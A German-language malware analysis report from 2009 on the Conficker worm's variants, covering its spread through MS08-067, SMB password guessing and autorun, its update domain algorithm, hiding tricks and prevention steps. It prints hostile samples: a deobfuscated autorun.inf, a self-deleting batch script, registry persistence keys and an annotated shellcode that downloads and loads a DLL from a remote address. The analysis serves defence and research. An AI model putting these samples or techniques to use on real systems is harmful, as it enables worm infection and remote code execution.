Conficker - Info-Point
Transcription
Conficker - Info-Point
Conficker Datum der Erstellung: 01.04.2009 Autor: Peter Kleissner Co-Autor: Georg Kremsner Das nachfolgende Dokument beinhaltet eine Beschreibung des Conficker Wurms. Dieser Wurm ist Ende 2008 aufgetreten und hält Experten und Forscher bis heute beschäftigt. Sämtliche Informationen beziehen sich auf den Stand März 2009. Kurzbeschreibung Name: Alias-Namen: Varianten: Erstes Auftreten: Ausgenutzter Exploit: Verbreitung: Conficker Downup, Downadup, Kido A, B, B++, C Mitte November 2008 MS08-067 (RPC Remote Code Execution Vulnerability) Wechselmedien, Netzwerk-Freigaben, RPC-Exploit Auftreten der verschiedenen Varianten Oktober 2008 Conficker.A November 2008 Erstmals „In the Wild“ Dezember 2008 Jänner 2009 Conficker.B Februar 2009 Conficker. B++ März 2009 Conficker.C Tabelle 1 Auftreten der Conficker Varianten Die obige Tabelle zeigt das zeitlich verteilte Auftreten der bisher bekannten Varianten des Conficker Wurms. • Conficker.A: seit Oktober 2008 in Entwicklung • Conficker.A: „in the Wild“ am 21. November 2008 • Conficker.B: „in the Wild“ am 31. Dezember 2008 entdeckt • Conficker.B++: „in the Wild“am 16. Februar 2009 • Conficker.C: „in the Wild“am 6. März 2009 Beschreibung Der Conficker Wurm nutzt ursprünglich eine Schwachstelle von Microsoft Windows aus, die sich im Dienst „Microsoft Windows Server Service RPC Handling” befindet. Features • automatische Verteilung in Netzwerken • • • automatisches Update durch einen Command & Control Server Client und Serverdienste in einer Instanz Deaktivierung des Windows Update Systems Varianten Nachfolgend werden die verschiedenen Varianten des Conficker Wurms näher beschrieben, um auch ihre Unterschiede zu verdeutlichen. Conficker.A Bei der Ausführung erstellt Conficker.A eine Kopie seiner selbst in: %System%\[autogen. Dateiname].dll %System% ist eine Umgebungsvariable in Microsoft Windows Systemen und verweist im Normalfall auf den Pfad C:\Windows\System32 Der von Conficker.A automatisch generierte Dateiname basiert auf dem Namen des infizierten Rechners. Die Infektor-Datei wird aus folgendem Verzeichnis gelöscht. Im Fall des Starts von einem Wechseldatenträger wird der Infektor nicht von diesem gelöscht. Dies dient der Infektion neuer Zielrechner mit dem benutzten Wechseldatenträger mittels der AutostartFunktion. .\RECYCLER\S-5-3-42-2819952290-8240758988-8793150053665\jwgkvsq.vmx Autostart Funktionalität Conficker.A erstellt den nachfolgend beschriebenen Dienst, um bei einem evtl. Neustart des infizierten Rechners als Dienst wieder gestartet zu werden. Dadurch läuft der Conficker Wurm als ein Service im Kontext des Service-Hosts (svchost.exe) unter der Kategorie Network Services (netsvcs). „Dateiname“ steht für den vollen Pfad zur Kopie von Conficker.A (wie oben beschrieben). Service Name: netsvcs Geladen durch: %System%\svchost.exe -k netsvcs Einträge in die Registrierung: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost, netsvcs = [Originaldaten] and [Dateiname] HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\[Da teiname]\Parameters\ServiceDll = [Dateiname] Verteilung im Netzwerk Der Wurm verbreitet sich, wie oben angegeben, auch über das Netzwerk. Dies geschieht mit Hilfe von Windows Netzwerk-Freigaben (SMB Protokoll, Port 445). Hierbei wird nach offenen Freigaben im Netzwerk gesucht. Sollte ein Rechner eine offene Netzwerkfreigabe zur Verfügung stellen, wird die API Funktion NetUserEnum zum Herausfinden von gültigen Benutzernamen auf dem Zielrechner verwendet. Diese Benutzernamen werden mit Passwörtern aus einer vordefinierten Liste für LoginVersuche auf dem Zielrechner benutzt. Bei einer erfolgreichen Authentifizierung wird eine Kopie von Conficker.A im Pfad \\[Zielrechner]\ADMIN$\System32\[autogen. Dateiname] angelegt. Die Umgebungsvariable ADMIN$ zeigt im Normalfall auf das Verzeichnis C:\WINDOWS\ Nach dem erfolgreichen Verteilen von Conficker.A muss dieser auf dem Zielrechner installiert werden. Dies geschieht durch das erstmalige Ausführen eines zuvor angelegten geplanten Tasks. Dieser Task ruft folgendes Kommando auf: rundll32.exe [autogen. Dateiname], [Zufällige Buchstaben] Dadurch wird Conficker.A auf dem Zielrechner ausgeführt, installiert und die Infektion eines neuen Zielrechners war dadurch erfolgreich. Conficker.A baut Verbindungen zu folgenden URLs auf, um Informationen über den eben infizierten Rechner zu erhalten: www.getmyip.org getmyip.co.uk checkip.dyndns.org Die ermittelte externe IP Adresse des infizierten Rechners dient dazu eine auf den Rechnerstandort angepasste Version von AntiVirus XP (ein Fake-AntiVirus Programm) herunterzuladen. Darüber hinaus kann Information über die IP Adresse des infizierten Rechners zu weiteren Zwecken verwendet werden. Abschließend wird für weitere Kommunikationsmöglichkeiten ein Webserver (HTTP) auf einem zufällig ausgewählten Port gestartet. Automatische Updates Der Wurm Conficker.A bietet die Funktion von automatischen Updates. Diese Updates werden von Domains heruntergeladen, deren URLs vom Wurm errechnet werden. Für diesen Algorithmus wird von einer zufällig ausgewählten URL das aktuelle Datum abgefragt. Nachfolgend die Liste der möglichen URLs für die Datumsabfrage: ask.com baidu.com google.com w3.org yahoo.com msn.com Die Liste der Domains, von denen Updates bezogen werden können wird mit Hilfe des abgefragten Datums errechnet. Für Conficker.A bestehen 250 verschiedene Domains in der tagesaktuellen Liste. Für ein erfolgreiches Update aller mit Conficker.A infizierten Rechner ist lediglich die Registrierung einer einzigen Domain für einen speziellen Tag nötig. Die Masse an möglichen Domains erschwert es diese zu finden und vom Netz zu nehmen. Binärdateien, die bei einem Conficker Update verteilt werden, sind digital signiert und mit dem Algorithmus RC4 verschlüsselt. Das Update wird bei einem fehlgeschlagenen Signatur- oder Integritätscheck sofort verworfen und gar nicht entschlüsselt. Es bestehen 8 verschiedene (hard-coded) Schlüssel zum Entschlüsseln im Code von Conficker.A. Unabhängig von Updates des Wurms wird bei einem Update eine lokalisierte Version der Fake-Anti-Viren-Software AntiVirusXP installiert. Autorun Der Conficker Wurm benutzt auch die Autorun-Funktionalität von Windows Betriebssystemen, um sich zu verbreiten. Hierfür wird die Datei Autorun.inf im Root-Verzeichnis von Wechseldatenträgern und Netzwerk-Freigaben benutzt. Diese Datei enthält viel verwirrende Daten, die auf den ersten Blick wie Binärdaten aussehen. Eine genauere Analyse ergibt, dass viele Kommentarzeichen und Kontrollstrukturen enthalten sind, die den endgültig ausgeführten Code modifizieren. Dies ist eine sehr effektive Methode der Verbreitung, vor allem in großen Betriebsnetzwerken, wie Berichte ergeben haben. Ein in den Labors von IKARUS entwickelter Deobfuscator ermöglichte es folgenden Inhalt zu entschlüsseln: [AUTorUN] icon=%syStEmrOot%\sySTEM32\sHELL32.Dll,4 shelLExECUte=RuNdLl32.EXE.\RECYCLER\S-5-3-42-28199522908240758988-879315005-3665\jwgkvsq.vmx,ahaezedrn useAuTopLAY=1 Mit diesem Kommando wird Conficker durch die Autorun-Funktionalität von Windows Betriebssystemen geladen. Wie oben nachzulesen ist, funktioniert die Ausführung von Conficker durch einen geplanten Task gleich. Starten von Conficker Der Conficker Wurm ist eigentlich eine dynamische Programmbibliothek (DLL), was eine Ausführung ähnlich eines Programms verhindert. Für eine DLL wird ein Ladeprogramm benötigt, sodass der darin enthaltene Code ausgeführt werden kann. Im Fall von Conficker dient hierzu rundll32.exe <DLL>,<Funktionsname> Im Fall von Conficker.A wird folgende Kommandozeile benutzt rundll32.exe jwgkvsq.vmx,ahaezedrn Mit Hilfe des Programms rundll32.exe kann eine DLL geladen und die nach dem Beistrich definierte Funktion ausgeführt werden. Im Fall des Conficker Wurms ist der zufällig angegebene Funktionsname immer ungültig, da die Conficker-DLL keine Funktionen exportiert (nach außen zur Verfügung stellt). Unabhängig davon wird die DLL des Conficker Wurms in den Speicher geladen und DLLMain aufgerufen. Dies ist der Einsprungpunkt für dynamische Programmbibliotheken. Dadurch wird Conficker.A ausgeführt und der Wurm installiert. Zur Sicherstellung, dass sich nicht mehrere gleichzeitig laufende Instanzen von Conficker.A gegenseitig behindern, wird ein globaler Mutex mit dem Namen “Global\m-7” registriert, der bei jedem Conficker Start überprüft wird. Sollte dieser belegt sein, bricht der Ladevorgang der neuen Instanz ab. Verstecken von Conficker.A Conficker.A setzt für die Kopie seiner selbst die Dateiattribute auf „Versteckt“ und „Systemdatei“ (dies gelingt unter anderem mit dem Befehl attrib <filename> +H +S). Danach deaktiviert der Wurm die Explorer-Einstellungen für „Anzeige von versteckten und Systemdateien“. Diese Option ist auf einem infizierten Rechner nicht mehr aktivierbar, da Conficker mit einer Registryeinstellung diese Option versteckt. Abschließend wird vom Autostart-Service mit Hilfe eines „System Handle“ die lokale Conficker.A-Kopie vor Zugriff geschützt. Hierfür wird die Funktion CreateFile benutzt, bei deren Aufruf ein Flag gegen gemeinsamen Zugriff gesetzt wird. Dies verhindert, dass Antiviren-Software auf die Datei zugreifen und sie scannen kann. Dies wird von Conficker.A dadurch erreicht, dass der Wurm im Kontext von svchost.exe läuft. Dadurch ergeben sich für den Wurm Systemrechte, wie sie auch Kernkomponenten des Windows Betriebssystems erhalten. Conficker.B Die B-Variante des Conficker Wurms bietet erweiterte und verbesserte Funktionalität des Wurms. Sämtliche nicht erwähnte Funktionalität ist im Vergleich zu Conficker.A unverändert in Conficker.B enthalten. Nachfolgend die wesentlichen Neuerungen von Conficker.B: • Hooking von Windows API Funktionen • Beenden von Virenschutz • Erweiterte Anti-Debugging Techniken • Andere Webseiten zum Eroieren der IP Adresse • Andere Konstanten beim Errechnen der Domain Namen für Updates • Anderer String für den globalen Mutex • Stärkere Verschlüsselung der heruntergeladenen Binärdateien und mehr Schlüssel zum Entschlüsseln Verteilung im Netzwerk Conficker.B verwendet andere Webseiten zum Herausfinden der öffentlichen IP Adresse des infizierten Rechners, als Conficker.A: www.getmyip.org www.whatsmyipaddress.com www.whatismyip.org checkip.dyndns.org Automatische Updates Der Algorithmus zur Generierung von Domain Namen benutzt andere einkompilierte Konstanten. Das führt zu unterschiedlichen Ergebnissen, obwohl der Algorithmus an sich nicht verändert wurde. Im Gegensatz zu Conficker.A lädt Conficker.B keine Fake-Antiviren-Software herunter. Zusätzliches Netzwerkverhalten Darüber hinaus wurde in Analysen des Netzwerkverkehrs folgende Auffälligkeiten festgestellt. Das nachfolgende SSDP (Simple Service Discovery Protocol) Paket wird in das Netzwerk ausgesendet: M-SEARCH * HTTP/1.1 HOST: 239.255.255.250:1900 ST: urn:schemas-upnp-org:device:InternetGatewayDevice:1 MAN: "ssdp:discover" MX: 3 Wireshark fragment: 2 2.672815 192.168.150.128 239.255.255.250 SSDP M-SEARCH * HTTP/1.1 Im Header-Feld ST (Service Type) wurden folgende Inhalte beobachtet: ST:urn:schemas-upnp-org:device:InternetGatewayDevice:1\r\n ST:upnp:rootdevice\r\n ST:urn:schemas-upnp-org:device:MediaRenderer:1\r\n Das SSDP ist ein veralteter Entwurf der Firmen Microsoft und HP. Es dient heutzutage als Basis für das UPNP (Universal Plug aNd Play Protocol). Diese Kommunikation dient wahrscheinlich dem Finden von Wegen aus dem Netzwerk. Verstecken von Conficker.B Conficker.B injiziert sich selbst in folgende Prozesse, um sich im System zu verteilen und dadurch schwerer entfernbar zu sein: • services.exe • svchost.exe • explorer.exe Darüber hinaus werden folgende Dienste von Windows deaktiviert, um einer Erkennung und Entfernung vom System zu entgehen: • Windows Firewall • Windows Update Conficker.B++ Die Sub-Variante Conficker.B++ stellt ein kleines Update zur Version Conficker.B dar. In diesem Abschnitt gilt wiederum, dass sämtliche Funktionalität der Vorgängerversion übernommen wurde und nur Unterschiede aufgezeigt werden. Verteilung im Netzwerk Die ursprünglich durch ihre Schwachstelle ausgenutzte Funktion in netapi32.dll!NetpwPathCanonicalize wird gepatcht. Dieser Patch stellt sicher, dass eine Re-Infektion nach einer Säuberung möglich ist. Der fehlerhafte Code wird in einem evtl. bereits gepatchten System wieder eingebracht. Automatische Updates Die Generierung der Domain Namen zum Nachladen von Updates wurde erweitert. Nun wird beim fehlgeschlagenen Versuch eine Domain zu erreichen .localdomain an die generierte Domain angehängt. Daraus ergibt sich eine Anzahl von maximal 500 unterschiedlichen Domainnamen, die täglich generiert werden können. Mit der Version Conficker.B++ können EXE Dateien empfangen und ausgeführt werden. Dies wird durch die Kommunikation über Pipes erreicht (CreateNamedPipe API), die fortan zum Updaten benutzt wird. Conficker.C Die C-Variante des Conficker-Wurms ist der letzte bekannte große Sprung in der Evolution des Wurms. Hierbei wurde wiederum die Grundfunktionalität von den Vorgängerversionen übernommen. Nachfolgend werden deshalb die wichtigsten Änderungen aufgezeigt: • Conficker.C versteckt sich nicht in explorer.exe • Jetzt auch als EXE und nicht nur als DLL verfügbar („In the Wild“ wurde ein Sample gefunden/entschlüsselt/deobfuscated/analysiert und an Forscher verteilt) • 2ter Domain Name Algorithmus integriert mit 50000 möglichen Domains pro Tag • Nutzung anderer kryptographischer Algorithmen • Windows Defender wird deaktiviert (BITS wird entfernt) • netsvcs.exe und explorer.exe werden für Autostart verwendet • DLL wird nicht mehr nur in %System% kopiert • Anti-Debugging Tricks (beendet Reverse Engineering Tools) • VMWare Detektion (lässt sich nicht debuggen) Automatische Updates Conficker.B wird automatisch zu Conficker.C upgedatet. Mit 1. April 2009 tritt der 2. erwähnte Domain Name Algorithmus in Kraft. Das bedeutet, dass täglich 50000 anstatt 250 (oder 500) Update Domains generiert werden. Dies erschwert ein Aufspüren und vom Netz nehmen der Update-Server von Conficker noch weiter. Zusätzlich wurde ein Peer-to-Peer Client, der ebenfalls als Service gestartet wird, integriert. Auch dieser startet ab dem 1. April 2009. Conficker.C hat eine neue Technik, um die aktuelle Zeit zu erfahren. Hierfür werden HTTP Anfragen an verschiedene Homepages (adobe.com, youtube.com, ...) geschickt. Aus dem Header der Antwort wird die aktuelle Systemzeit des abgefragten Servers ausgelesen. Weiters wird die lokale Systemzeit auf den 1. April 2009 geprüft. Starten von Conficker Conficker.C beweist Abwärtskompatibilität, indem bei einem Start von Conficker.C die möglichen Mutexe älterer Versionen überprüft werden. Sollte einer vorhanden sein, wird die laufende Conficker-Instanz auf Conficker.C upgedatet. Verstecken von Conficker.C Vorangegangene Conficker-Varianten haben bereits Domains von Unternehmen aus der IT-Security-Branche geblockt. Conficker.C blockt diese jetzt generischer mit Hilfe einer Liste von Filterkriterien. Diese Liste umfasst nun die Namen und trifft somit auf mehr Domains zu, als bei vorangegangenen Conficker-Varianten. Conficker mit Ablaufdatum Es wurde von einer Conficker.C Variante berichtet, die am 17. März 2009 veröffentlicht wurde und am 19. März 2009 wieder verschwand. Diese Variante überprüfte ihr eigenes Ablaufdatum und stellt höchstwahrscheinlich eine Testversion für Tests „in the Wild“ dar. Dieses Vorgehen wurde auch von anderen Forschern bestätigt. VMWare Erkennung Die VMWare Erkennung von Conficker.C ist bis jetzt undokumentiert, jedoch wurde bei unserer Analyse festgestellt, dass Conficker.B und Conficker.C eine Erkennung der Ausführung innerhalb einer virtuellen Maschine beinhalten. Wenn eine VMWare von Conficker erkannt wird, werden zwar Dateien versteckt und andere PCs im Netzwerk infiziert. Es findet jedoch kein Verbindungsaufbau ins Internet statt. Dies schützt diese Funktionalität des Wurms vor trivialer Erkennung. Weiters wird dadurch das Aufspüren von Conficker Updateservern und mitlesen von Updatevorgängen erschwert, weil pro getesteter Conficker-Instanz eine eigene physikalische Maschine notwendig wird. Analyse von Conficker.C Hier sind Disassembly-Screenshots zu sehen, die ein Script zu Anfang der Ausführung von Conficker zeigen. Dieses wurde in keiner der uns verfügbaren Analysen anderer Forscher erwähnt. Leider fehlte uns auch die Zeit für eine Analyse. Während einer kurzen Analyse gab es folgende Auffälligkeiten: • Conficker läuft ausschließlich ab Windows 2000 (Check auf MajorVersion 5) • Das Script am Anfang stellt eine gute Signatur für Antivirenprodukte dar. Conficker Batch Skript Das nachfolgende Batch Skript wird von Conficker dazu benutzt die Infektor-DLL zu löschen (wie oben beschrieben). @ECHO OFF :REP DEL %1 IF EXIST %1 GOTO REP DEL %0 Die Ausführung dieses Skripts wird durch folgendes Kommando erreicht: CMD /C ""C:\Users\<user>\AppData\Local\Temp\306132684.cmd" "C:\Users\<user>\Desktop\09u.tmp"" Der Aufruf von cmd /c bewirkt, dass das Skript ausgeführt und danach sofort wieder beendet wird. Das obige Kommando wird beim Start von Conficker aufgerufen (zum Zeitpunkt von createProcess) sobald die lokale Kopie von Conficker angelegt wird (MoveFile) als Parameter aufgerufen. Conficker Shellcode Der nachfolgende Shellcode wird über das Netzwerk zum Ausnutzen, der in MS08-067 aufgezeigten, Schwachstelle verwendet. Der Shellcode ist im Wesentlichen ein DLLDownloader/-Dropper und legt eine Datei mit der Endung .x an, die danach ausgeführt wird. Das ist der Initial-Infektor des Conficker-Wurms. ; Conficker Shellcode ; reverse engineering done by Peter Kleissner ; call -1 misaligned code trick (also used to get instruction pointer) 00000000 E8FFFFFFFF call 4 ; decrypt the Shellcode 00000004 FFC1 inc -1 trick 00000006 5E pop eip, get it (will be later 00000007 8D4E10 lea esi ; call instruction pushed the used to access data) ecx,[esi+0x10] ; ecx = byte position Decrypt_Loop: 0000000A 8031C4 0000000D 41 0000000E 6681394550 00000013 75F5 [ecx],byte 0C4h ecx [ecx],word 5045h Decrypt_Loop xor inc cmp jnz ecx ; junk code resulting from call ; decrypt key = C4h ; next byte ; end marker ; following code is already decrypted to understand it seg000:00000015 push 2 seg000:00000017 pop ecx ; ecx = 2 (obfuscation for losers), +set count of imports to resolve for later seg000:00000018 mov eax, fs:[ecx+2Eh] ; eax = Process Environment Block Address (TIB + 30h) seg000:0000001C mov eax, [eax+0Ch] ; PEB_LDR_DATA seg000:0000001F mov eax, [eax+1Ch] ; PEB_LDR_DATA.InInitializationOrderModuleList.LDR_DATA_TABLE_ENTRY/LDR_MODULE (UNDOCUMENTED) seg000:00000022 mov eax, [eax] ; double linked list (take forward link to LDR_DATA_TABLE_ENTRY / LDR_MODULE structure) seg000:00000024 mov ebx, [eax+8] ; DllBase (Module Base Address) ; resolve 2 imports seg000:00000027 lea esi, [esi+9Ch] ; let esi point to data / imports (offset 9Ch + 5) Resolve_Imports_Loop: seg000:0000002D call Resolve_Import seg000:00000032 push eax ; why not? (store function address) seg000:00000033 loop Resolve_Imports_Loop ; Kernel32!LoadLibraryA("urlmon.dll"); seg000:00000035 mov edi,esp (LoadLibraryA function pointer) seg000:00000037 push esi seg000:00000038 call dword ptr [edi] seg000:0000003A xchg eax, ebx ; -> resolve import urlmon!URLDownloadToFileA ; edi points to top of stack ; esi points to "urlmon" ; LoadLibraryA("urlmon") seg000:0000003B "URLDownloadToFileA" seg000:0000003E add esi,7 ; move esi to point to hash of call Resolve_Import ; set stack for ExitThread seg000:00000043 xor edx,edx seg000:00000045 push edx seg000:00000046 push edx (unnecessary, junk) ; dwExitCode = 0 ; zero termination for string ; store file name on stack seg000:00000047 mov ecx,esp ; store target file name on stack seg000:00000049 mov word ptr [ecx], 2E78h ; ".x" ; prepare execution for file downloaded by LoadLibraryA seg000:0000004E push ecx ; lpFilename for LoadLibraryA called by URLDownloadToFileA return (=> this is a dll dropper only) seg000:0000004F push dword ptr [edi+4] ; return to ExitThread from LoadLibraryA ; urlmon!URLDownloadToFileA(NULL, "http://xxx.xx.xxx.xxx:4725/htoqqgf", ".x", 0, 0); seg000:00000052 push edx ; bindstatuscallback = 0 seg000:00000053 push edx ; reserved = 0 seg000:00000054 push ecx ; szFilename = ".x" seg000:00000055 push esi ; szURL = (http://..) seg000:00000056 push edx ; pCaller = NULL seg000:00000057 push dword ptr [edi] ; return to LoadLibraryA from URLDownloadToFileA seg000:00000059 jmp eax ; jump to URLDownloadToFileA function Resolve_Import: ; Input: ; ebx = Module Base ; esi = Import to resolve ; Output: ; eax = function address seg000:0000005B lodsd a dword further for next entry) ; junk code (will just move esi ; store ecx and esi (will be modified) seg000:0000005C push ecx seg000:0000005D push esi seg000:0000005E seg000:0000005F Header/Stub) seg000:00000062 seg000:00000066 seg000:00000068 Next_Function: seg000:0000006A in Name Table seg000:0000006D Pointer RVA seg000:00000070 seg000:00000072 seg000:00000074 xchg eax,ebp mov ecx, [ebx+3Ch] ; why not? (= junk code) ; -> PE Header (skip DOS mov ecx, [ebx+ecx+78h] add ecx, ebx xor esi, esi ; -> Export Table ; (absolute address) ; will count function number lea edx, [ebx+esi*4] ; Module Base + Function Offset add edx, [ecx+20h] ; Export Directory Table.Name mov edx,[edx] add edx,ebx xor eax,eax ; edx = Function Name Pointer ; (absolute address) ; initial value for hash Generate_Hash_Next_Character: seg000:00000076 rol eax,7 ; hash generation algorithm (hash = hash rotate left 7 ^ char) seg000:00000079 xor al,[edx] seg000:0000007B inc edx ; next character seg000:0000007C cmp [edx],byte 0 ; last character? (check zero termination) seg000:0000007F jnz Generate_Hash_Next_Character seg000:00000081 calculated seg000:00000083 seg000:00000085 seg000:00000086 Directory Table.Number seg000:00000089 cmp eax,ebp jz Export_Found inc esi cmp esi,[ecx+24] of Name Pointers jb Next_Function ; compare to-find hash with ; next function ; compare against Export ; next function if available ; *** ERROR *** no error routine installed if export was not found Export_Found: seg000:0000008B mov edx, [ecx+36] ; get ordinal number (via Ordinal Table RVA) seg000:0000008E add edx, ebx ; (absolute address) seg000:00000090 movzx edx, word ptr [edx+esi*2] ; look up the ordinal number (which is word value) seg000:00000094 mov eax, [ecx+1Ch] ; address of Export Address Table RVA seg000:00000097 add eax, ebx ; (absolute address) seg000:00000099 mov eax, [eax+edx*4] ; get relative function address seg000:0000009C add eax, ebx ; => absolute function address, return in eax ; restore registers & return seg000:0000009E pop esi seg000:0000009F pop ecx seg000:000000A0 ret Data_Start: ; hashes of 2 imports seg000:000000A1 seg000:000000A5 dd 0768AA260h dd 0C8AC8026h ; urlmon.dll and its URLDownloadToFileA export seg000:000000A9 db "urlmon", 0 seg000:000000B0 dd 0D95D2399h ; hash of "ExitThread" ; hash of "LoadLibraryA" ; hash of "URLDownloadToFileA" ; download url - patched dynamically to current IP:port/url seg000:000000B4 db "http://xxx.xx.xxx.xxx:4725/htoqqgf", 0 Ähnlichkeiten zu anderen Viren Registryeinträge Conficker verwendet folgenden Eintrag, um sicherzustellen, dass er als Service bei jedem Systemstart gestartet wird: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost, netsvcs = [Originaldaten] and [Dateiname] Beim Sinowal-Wurm, der ebenfalls ein Bot ist, wurde ebenfalls folgender Eintrag benutzt: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost\netsvcs Beide Einträge in die Registry führen dazu, dass die Malware im Kontext der netsvcsGruppe im ServiceHost von Windows gestartet wird. Dadurch erreicht die Malware Systemrechte. Es gibt viele weitere Möglichkeiten der Sicherstellung einer dauerhaften Infektion mit automatischen Start der Malware. Aufgrund dieser Ähnlichkeit scheint eine Verbindung zwischen diesen beiden Würmern nicht ausgeschlossen. Exploit-Code Der Exploit für die im Oktober 2008 in MS08-067 diskutierte Schwachstelle ist in Hacker-Kreisen verfügbar. Fertige Exploit-Kits wurden verbreitet und auch verkauft: Feststellung der IP Adresse Die Nutzung der folgenden Dienste zur Feststellung der IP Adresse des infizierten Systems ist bereits von anderer Malware (vor allem Bots) bekannt. Die gleiche Vorgehensweise lässt darauf schließen, dass bewährter Code ein weiteres Mal verwendet wurde. www.getmyip.org getmyip.co.uk checkip.dyndns.org Vorbeugung / Abwehr einer Conficker-Infektion Fünf Schritte zur Vermeidung einer "Conficker" - Infizierung 1. Patch KB958644 von Microsoft installieren (schließt die RPC-Schwachstelle aus MS08-067) 2. Patch KB950582 von Microsoft installieren (wichtig zur Deaktivierung der Autorun Funktion) 3. Autrun deaktivieren (mittels Registrierungsschlüssel) 4. Microsoft Removal Tool ausführen und den Computer scannen (findet und entfernt den "Conficker" Wurm) 5. Virenschutz immer auf aktuellstem Stand halten (der IKARUS Virenscanner findet Conficker in allen bekannten Varianten) Generell wird empfohlen das System mit dem Microsoft Removal Tool (wird 14-tägig upgedated) trotz eingespielter Patches zu scannen.